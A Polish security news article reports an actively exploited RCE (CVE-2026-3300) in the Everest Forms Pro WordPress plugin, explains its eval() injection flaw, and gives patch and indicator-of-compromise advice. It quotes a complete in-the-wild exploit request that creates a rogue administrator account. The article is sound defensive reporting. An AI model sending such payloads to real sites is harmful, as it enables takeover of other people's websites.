Wystartowała Akademia NIS2/KSC2! Można jeszcze dołączyć do końca lipca!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Bezpłatne szkolenie: AI dla admina. Top 5 zadań, które zrobisz szybciej
Wystartowała Akademia NIS2/KSC2! Można jeszcze dołączyć do końca lipca!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Bezpłatne szkolenie: AI dla admina. Top 5 zadań, które zrobisz szybciej
Badacze bezpieczeństwa z Wordfence ujawnili krytyczną podatność Remote Code Execution we wtyczce Everest Forms Pro przeznaczonej dla WordPressa. Luka ma być wciąż wykorzystywana do ataków na strony korzystające z tego rozszerzenia. Podatność dotyczy wszystkich wersji przed 1.9.13 i otrzymała ocenę 9.8 (krytyczna) w skali CVSS.
Podatność (CVE-2026-3300) pozwala nieuwierzytelnionemu atakującemu na wykonywanie dowolnego kodu PHP na serwerze, co prowadzi do całkowitego przejęcia hosta. Aby możliwe było przeprowadzenie ataku, strona musi wykorzystywać funkcję “Complex Calculation”. Producent wydał aktualizację łatającą tę lukę już pod koniec marca 2026, jednak jest ona wciąż wykorzystywana. Firewall Wordfence zablokował już prawie 30 tysięcy prób ataków, korzystających właśnie z tej podatności.
Wtyczka używa funkcji process_filter() w klasie EverestForms\Pro\Addons\Calculation\Process\Process do obliczania formuł zdefiniowanych przez użytkownika. Funkcja ta łączy wartości z pól formularza (przesłane przez użytkownika) z kodem PHP, który następnie jest przekazywany do funkcji eval(), przy użyciu następującego fragmentu kodu:
| $final_field_variables = implode( “;\n”, $field_variable ); $return_var = Transpiler::RESULT_VAR_NAME; ${Transpiler::FUNCTIONS_ARRAY_NAME} = $this->functions; ${Transpiler::INNER_FUNCTIONS_ARRAY_NAME} = $this->inner_functions; $php_code = preg_replace( ‘/\<\?php/’, “$final_field_variables; $” . ‘_RETURN = 0;’, $php_code . ‘return $’ . $return_var . ‘;’ ); try { $total = eval( $php_code ); |
Listing 1 – kod przekazujący pola formularza do eval(), źródło: wordfence.com
Chociaż dane wejściowe są filtrowane za pomocą funkcji sanitize_text_field(), pomija ona pojedyncze apostrofy. W przypadku pól bazujących na ciągach znaków (string), takich jak text czy email, przesłana przez użytkownika wartość jest umieszczana wewnątrz pojedynczych apostrofów i bezpośrednio dodawana do ciągu kodu PHP.
Nieuwierzytelniony atakujący może to wykorzystać, wysyłając payload zawierający apostrof, po którym umieści złośliwy kod PHP oraz znak komentarza. Pozwala mu to “opuścić” string i wstrzyknąć kod PHP, który zostanie później wykonany przez funkcję eval(). W efekcie ma on możliwość wykonania dowolnego kodu PHP na serwerze, na którym działa atakowana strona.
Najczęściej obserwowany payload w zidentyfikowanych przez badaczy żądaniach próbuje utworzyć nowe konto administratora (diksimarina) dla atakowanej witryny:
| POST /wp-admin/admin-ajax.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded everest_forms[id]=2909&everest_forms[form_fields][svbtwqPN9R-2]=’;if(!username_exists(‘diksimarina’)){wp_insert_user(array(‘user_login’=>’diksimarina’,’user_pass’=>'[redacted]’,’user_email’=>’diksimarina@gmail.com’,’role’=>’administrator’));echo ‘ADMINCREATED’;}else{echo ‘ADMINEXISTS’;} //&everest_forms[form_fields][eluWudCcdM-1]=test&everest_forms[form_fields][email]=test&everest_forms[form_fields][rVuWSql19Q-3]=test&everest_forms[form_fields][rwkAbDLqrq-7]=test&everest_forms[form_fields][LKLn7arQDU-5]=test&action=everest_forms_ajax_form_submission&security=cd840335ff |
Listing 2 – przykładowe żądanie wykorzystujące podatność, źródło: wordfence.com
W tym przypadku atakujący przesyła wartość dla pola text rozpoczynającą się od pojedynczego apostrofu zamykającego string, a po nim kod PHP wywołujący funkcję wp_insert_user() w celu utworzenia nowego konta administratora. Umieszczony na końcu znak komentarza (//) sprawia, że pozostała część kodu nie zostanie wykonana przez interpretator PHP – dzięki temu dodany apostrof nie spowoduje błędu składni.
Właścicielom stron korzystających z tej wtyczki polecamy zaktualizować ją do najnowszej dostępnej wersji i sprawdzić użytkowników swojej strony oraz logi pod kątem danych z IoC wymienionych na końcu tekstu.
Wtyczki w WordPress są jak rozszerzenia do przeglądarek. Lepiej mieć tylko te, których koniecznie potrzebujemy i regularnie je aktualizować. Niestety im więcej dodatków, tym więcej potencjalnych “słabych punktów” naszej strony. Pod kątem tego typu podatności warto rozważyć włączenie automatycznych aktualizacji w WordPress – choć wiemy, że ekosystemy wtyczek padają czasem ofiarą ataków na łańcuch dostaw.
Tworzone przez atakujących konto:
Adresy IP wykorzystywane przez atakujących:
Podatne wersje wtyczki: wszystkie poniżej 1.9.13.
Źródło: wordfence.com